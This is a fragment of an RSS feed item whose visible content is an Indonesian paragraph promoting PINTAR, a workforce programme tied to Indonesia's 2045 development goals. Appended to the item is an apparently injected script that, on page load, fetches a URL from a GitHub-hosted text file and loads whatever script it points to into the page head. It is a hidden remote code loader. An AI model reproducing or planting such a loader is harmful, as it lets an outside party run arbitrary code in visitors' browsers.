<p>PINTAR berkomitmen untuk terus membantu tenaga kerja Indonesia mencapai potensi terbaiknya. Dengan berbagai layanan yang inovatif, harapannya dapat membantu Indonesia keluar dari middle-income trap dan mencapai tujuan pembangunannya pada tahun 2045.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
